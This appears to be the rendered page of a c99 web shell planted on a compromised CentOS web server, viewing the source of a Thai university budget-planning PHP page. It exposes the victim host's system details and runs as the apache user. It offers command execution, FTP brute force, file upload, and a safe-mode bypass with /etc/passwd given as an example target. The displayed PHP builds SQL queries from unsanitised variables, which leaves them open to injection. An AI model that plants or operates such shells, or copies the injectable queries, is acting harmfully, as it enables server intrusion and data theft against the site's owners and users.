!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Money_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PlaningDetail.php (13.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 
  
include("../include/FunctionDB.php");
  include(
"../includes/Function.php");
  include(
"../link/function.php");

  
ConnectDB();
$sql =  " SELECT * FROM  project_type_tb   Where   Budget_Year='$Budget_Year'  and   Faculty_code='$Faculty_code'  and  ProjectId='$ProjectId' ";
$result mysql_query($sql) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result);
?>

<html>
<head>
<title>ข้อมูลแผนดำเนินการ</title>
<link href="../source/style.css" rel="stylesheet" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<style type="text/css">
<!--
.style6 {font-size: 14px}
.style17 {font-family: Tahoma; font-size: 16px; }
.style18 {font-family: Tahoma}
.style33 {font-size: 14px; font-family: "MS sans serif"; }
.style34 {font-size: 14px; font-family: "MS sans serif"; font-weight: bold; }
.style36 {font-size: 16px}
.style37 {font-family: Tahoma; font-size: 14px; }
-->
</style>
</head>
<table width="63%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <th width="638" scope="col"><form name="form1" method="post" action="">
      <fieldset>
      <table width="606" border="0">
        <tr>
          <td width="677"><table width="96%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#E0E0E0">
            <tr bgcolor="#ECD9C6">
              <td height="19" colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
            </tr>
            <tr bgcolor="#ECD9C6">
              <td height="19" colspan="3" bgcolor="#FFFFFF"><div align="center" class="style36"><font color="#000000" face="Tahoma">แสดงรายละเอียดของแผนดำเนินการ </font></div></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#003366" face="Tahoma">รหัสหน่วยงาน</font></div>
              </div></td>
              <td width="0%" rowspan="14" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
              <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma">
                <?php
         $Faculty_code 
=  $rs["Faculty_code"];
         
$sql "Select * From faculty_tb Where Faculty_code='$Faculty_code' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[Faculty_code]    $rss[Faculty_name]";
         
?>
              </font> </td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#003366" face="Tahoma">รหัสของแผน</font></div>
              </div></td>
              <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist]?></font></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#000066" face="Tahoma">แผนงานโครงการ</font></div>
              </div></td>
              <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><?=htmlspecialchars_decodenl2br$rs['Project_plan'] ) );?></font></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td width="22%" bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#003366" face="Tahoma">วัตถุประสงค์</font></div>
              </div></td>
              <td width="78%" bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><?=htmlspecialchars_decodenl2br$rs['Orderlist_2'] ) );?></font></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#000066" face="Tahoma">ตัวชี้วัดความสำเร็จ</font></div>
              </div></td>
              <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><?=htmlspecialchars_decodenl2br$rs['Project_name'] ) );?></font></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#000066" face="Tahoma">วิธีการดำเนินงาน</font></div>
              </div></td>
              <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><?=htmlspecialchars_decodenl2br$rs['Project_rep'] ) );?>
              </font></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#003366" face="Tahoma">กลุ่มเป้าหมาย</font></div>
              </div></td>
              <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><?=htmlspecialchars_decodenl2br$rs['Period'] ) );?>
              </font></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#003366" face="Tahoma">ผลที่คาดว่าจะได้รับ</font></div>
              </div></td>
              <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><?=htmlspecialchars_decodenl2br$rs['Period_1'] ) );?>
              </font></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#003366" face="Tahoma">หมวดเงิน</font></div>
              </div></td>
              <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">
                <?php
        $MoneyS_C  
$rs[MoneyS_C];
         
$sql3 "Select * From   money_source_tb Where  MoneyS_C='$MoneyS_C'";
         
$result3 mysql_query($sql3) or die("Error".mysql_error());
         
$rss mysql_fetch_array($result3);
          echo
" $rss[MoneyS_M]";
         
?>
              </font></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#003366" face="Tahoma">วันที่เริ่มดำเนินการ</font></div>
              </div></td>
              <td bgcolor="#FFFFFF"><div align="left"> <font size="2" face="Tahoma">วันเริ่มต้น </font> <font color="#0033CC" size="2" face="Tahoma"><? echo abbreDate2($rs[Date_start]);?></font><font size="2" face="Tahoma">&nbsp;&nbsp;วันสิ้นสุด </font><font color="#0033CC" size="2" face="Tahoma"><? echo abbreDate2($rs[Date_finish]);?></font></div></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#003366" face="Tahoma">ปีงบประมาณ พ.ศ.</font></div>
              </div></td>
              <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Budget_Year]?></font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td height="140" bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="left"><font color="#003366" face="Tahoma">งบประมาณแต่ละเดือน</font></div>
              </div></td>
              <td bordercolor="#006699" bgcolor="#FFFFFF"><table width="418" border="0" cellpadding="0" cellspacing="0">
                  <tr>
                    <th width="91" class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">มกราคม</div>
                    </div></th>
                    <th width="129" class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[January]?></font> บาท</div></th>
                    <th width="77" class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">กรฏาคม</div>
                    </div></th>
                    <th width="115" class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[July]?></font> บาท</div></th>
                    <th width="12" rowspan="6" scope="col">&nbsp;</th>
                  </tr>
                  <tr>
                    <th class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">กุมภาพันธ์</div>
                    </div></th>
                    <th class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[February]?></font> บาท </div></th>
                    <th class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">สิงหาคม</div>
                    </div></th>
                    <th class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[Augus]?></font> บาท </div></th>
                    </tr>
                  <tr>
                    <th class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">มีนาคม</div>
                    </div></th>
                    <th class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[March]?></font> บาท </div></th>
                    <th class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">กันยายน</div>
                    </div></th>
                    <th class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[September]?></font> บาท </div></th>
                    </tr>
                  <tr>
                    <th class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">เมษายน</div>
                    </div></th>
                    <th class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[April]?></font> บาท </div></th>
                    <th class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">ตุลาคม</div>
                    </div></th>
                    <th class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[October]?></font> บาท </div></th>
                    </tr>
                  <tr>
                    <th class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">พฤษภาคม</div>
                    </div></th>
                    <th class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[May]?></font> บาท </div></th>
                    <th class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">พฤศจิกายน</div>
                    </div></th>
                    <th class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[November]?></font> บาท </div></th>
                    </tr>
                  <tr>
                    <th class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">มิถุนายน</div>
                    </div></th>
                    <th class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[June]?></font> บาท </div></th>
                    <th class="style33" scope="col"><div align="center" class="style34">
                        <div align="left">ธันวาคม</div>
                    </div></th>
                    <th class="style33" scope="col"><div align="left" class="style34"> <font color="#0033CC"><? echo $rs[December]?></font> บาท </div></th>
                    </tr>
              </table></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td height="22" bgcolor="#FFFFFF"><div align="center"><span class="style37">ผู้รับผิดชอบ</span></div></td>
              <td align="center" bordercolor="#006699" bgcolor="#FFFFFF"><div align="left">
                <font color="#0033CC" face="Tahoma"><span class="style6">อ.</span>                </font><font color="#0033CC" size="2" face="Tahoma">
                <?php
         $Teacher_code 
=  $rs["Teacher_code"];
         
$sql "Select * From  personal_tb  Where  Teacher_code='$Teacher_code' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo  
"$rss[Teacher_name]    $rss[Teacher_lastname]";
         
?>
                </font></div></td>
            </tr>
            <tr bgcolor="#EEEEEE">
              <td height="22" bgcolor="#FFFFFF"><div align="center" class="style6">
                  <div align="center"><font color="#003366" face="Tahoma">ยอดรวม</font></div>
              </div></td>
              <td align="center" bordercolor="#006699" bgcolor="#FFFFFF"><div align="left"><strong> <font color="#0033CC" face="Tahoma" class="style17"><span class="style18"><font color="#0033CC" face="Tahoma"><? echo $rs[Budget_use]?></font></span> </font></strong><font color="#0033CC" face="Tahoma" class="style17"><span class="style6">บาท</span></font> </div></td>
            </tr>
            <tr bgcolor="#ECD9C6">
              <td colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
            </tr>
            <tr bgcolor="#ECD9C6">
              <td colspan="3" bgcolor="#FFFFFF"><div align="center">
                  <input type="button" name="close222" value="ปิดหน้าต่าง" onClick="window.close()">
                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </div></td>
            </tr>
          </table></td>
        </tr>
      </table>
      </fieldset>
      <tr>
    </form></th>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0103 ]--